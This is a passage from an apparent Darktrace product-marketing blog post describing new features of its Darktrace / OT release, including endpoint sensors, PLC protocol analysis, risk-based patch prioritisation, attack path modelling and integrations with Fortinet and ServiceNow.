  1. Extend Cyber AI Analyst investigations through to the endpoint root cause.

NEXT is part of our existing cSensor endpoint agent, can be deployed standalone or alongside existing EDR tools, and allows capabilities to be enabled or disabled depending on factors such as security or OT team objectives and resource utilization.

Figure 2: Darktrace / OT delivers CVE patch priority insights by combining threat intelligence with extended network and endpoint telemetry

The family of Darktrace Endpoint sensors also receive a boost in deployment flexibility, with on-prem server-based setups, as well as a Windows driver tailored for zero-trust and high-security environments.

Protocol coverage has been extended where it matters most. Darktrace now performs protocol analysis of a wider range of GE and Mitsubishi protocols, giving operators real-time visibility into commands and state changes on Programmable Logic Controllers (PLCs), robots and controllers. Backed by Self-Learning AI, this inspection does more than parse traffic, it understands what normal looks like and flags deviations that signal risk.

Integrated risk and governance workflows

Security data is only valuable when it drives action. Darktrace / OT delivers risk insights that go beyond patching, helping teams take meaningful steps even when remediation isn't possible. Risk is assessed not just by CVE presence, but by how network segmentation, firewall policies, and attack path logic neutralize or contain real-world exposure. This approach empowers defenders to deprioritize low-impact vulnerabilities and focus effort where risk truly exists. Building on the foundation introduced in release 6.3, such as KEV enrichment, endpoint OS data, and exploit mapping, this release introduces new integrations that bring Darktrace / OT intelligence directly into governance workflows.

Fortinet FortiGate firewall ingestion feeds segmentation rules into attack path modeling, revealing real exposure when policies fail and closing feeds into patching prioritization based on a policy to CVE exposure assessment.

  • ServiceNow Configuration Management Database (CMDB) sync ensures asset intelligence stays current across governance platforms, eliminating manual inventory work.

Risk modeling has also been made more operationally relevant. Scores are now contextualized by exploitability, asset criticality, firewall policy, and segmentation posture. Patch recommendations are modeled in terms of safety, uptime and compliance rather than just Common Vulnerability Scoring System (CVSS) numbers. And importantly, risk is prioritized across the Purdue Model, giving defenders visibility into whether vulnerabilities remain isolated to IT or extend into OT-critical layers.

Figure 3: Attack Path Modeling based on NetFlow and network topology reveals high risk points of IT/OT convergence.

The real-world impact for defenders

In today’s environments, attackers move fluidly between IT and OT. Without unified visibility and shared context, incidents cascade faster than teams can respond.

With this release, Darktrace / OT changes that reality. The Operational Overview gives Engineers a dashboard they can use daily, tailored to their workflows. SOC analysts can seamlessly investigate telemetry across endpoints, sensors and protocols that were once blind spots. Operators gain transparency into PLCs and controllers. Governance teams benefit from automated integrations with platforms like Fortinet and ServiceNow. And all stakeholders work from risk models that reflect what truly matters: safety, uptime and compliance.

This release is not about creating more alerts. It is about providing more clarity. By unifying context across IT and OT, Darktrace / OT enables defenders to see more, understand more and act faster.

Because in environments where safety and uptime are non-negotiable, clarity is what matters most.

Join us for our live event where we will discuss these product innovations in greater detail

Continue reading
About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance
Your data. Our AI.
Elevate your network security with Darktrace AI